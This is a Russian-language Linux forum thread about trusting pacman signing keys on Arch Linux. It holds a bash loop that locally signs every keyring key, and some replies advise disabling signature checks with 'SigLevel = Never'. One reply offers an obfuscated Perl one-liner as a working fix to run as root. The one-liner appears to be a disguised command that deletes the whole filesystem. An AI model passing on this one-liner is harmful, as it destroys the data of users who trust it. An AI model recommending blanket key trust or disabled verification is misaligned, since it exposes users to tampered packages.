LINUX.ORG.RU

[Решение] Трастование ключей в Арче одним махом


0

2

Для тех, кто желает добавить все ключи одним махом в арчевики уже есть рецепты.
Для тех, кто желает после все их трастовать одним махом привожу следующий скрипт:

#!/bin/bash
for keyid in `pacman-key -l | grep pub | awk '{ print $2 }' | \
awk -F/ '{ print $2 }' | awk -vORS=' ' 1` ; do
pacman-key --lsign-key $keyid ;
done
После этого всё должно работать и с
SigLevel = Optional TrustedOnly

★★★★★

Ответ на: комментарий от flareguner

+1 Первое что попалось, когда начал искать по интернету о новом пакмане, и помогло. Потом уже начали появляться всякие скрипты, как у ТС, которые как-то криво работают. Вобщем эти скрипты ещё надо допиливать перед использованием.

anonymous
()
Ответ на: комментарий от flareguner

Мне вполне помогло

видать, давно это было. потому, что сейчас уже не помогает ;)

aol ★★★★★
()
Ответ на: комментарий от anonymous

Потом все равно пришлось делать SigLevel = Optional TrustedOnly.

anonymous
()
SigLevel = Never

намного проще

Eddy_Em ☆☆☆☆☆
()
Ответ на: комментарий от flareguner

Спасибо тебе, добрый человек. Сработало. А скрипт ТС'а почему-то не запустился.

Dragon59 ★★
()
Ответ на: комментарий от anonymous

Угу, а ничего, что репозитории не подписаны? :)

Часть пакетов подписана.
А, неподписанные пакеты спокойно устанавливаются и при «SigLevel = Optional TrustedOnly».
Так что, «SigLevel = Optional TrustedOnly» работает уже сейчас, с профитом для той части пакетов, что уже подписаны.

saahriktu ★★★★★
() автор топика
Ответ на: комментарий от saahriktu

Часть пакетов подписана.

А часть нет. Поэтому сейчас проще сделать SigLevel = Never и дождаться полной реализации подписей.

Так что, «SigLevel = Optional TrustedOnly» работает уже сейчас, с профитом для той части пакетов, что уже подписаны.

Прости, а зачем для этого трастить ВСЕ ключи?

anonymous
()
Ответ на: комментарий от flareguner

Мне вполне помогло и

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
от рута

Его пропатчить надо, что бы в конце звездочку добавлял. Пропатчите плиз, очень хочу себе пакман починить!

Deleted
()
Ответ на: комментарий от anonymous

А часть нет. Поэтому сейчас проще сделать SigLevel = Never и дождаться полной реализации подписей.

Проще не значит лучше.
Хотя, пока что оно на собственный страх и риск, да.

Прости, а зачем для этого трастить ВСЕ ключи?

Потому, что так проще.
Выполнил пару скриптов - и готово.
Это в т.ч. ответ тем, кому лениво всё это делать по одному ключу.
Хотя, надёжнее, да, добавлять и трастовать по одному ключу.

saahriktu ★★★★★
() автор топика
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.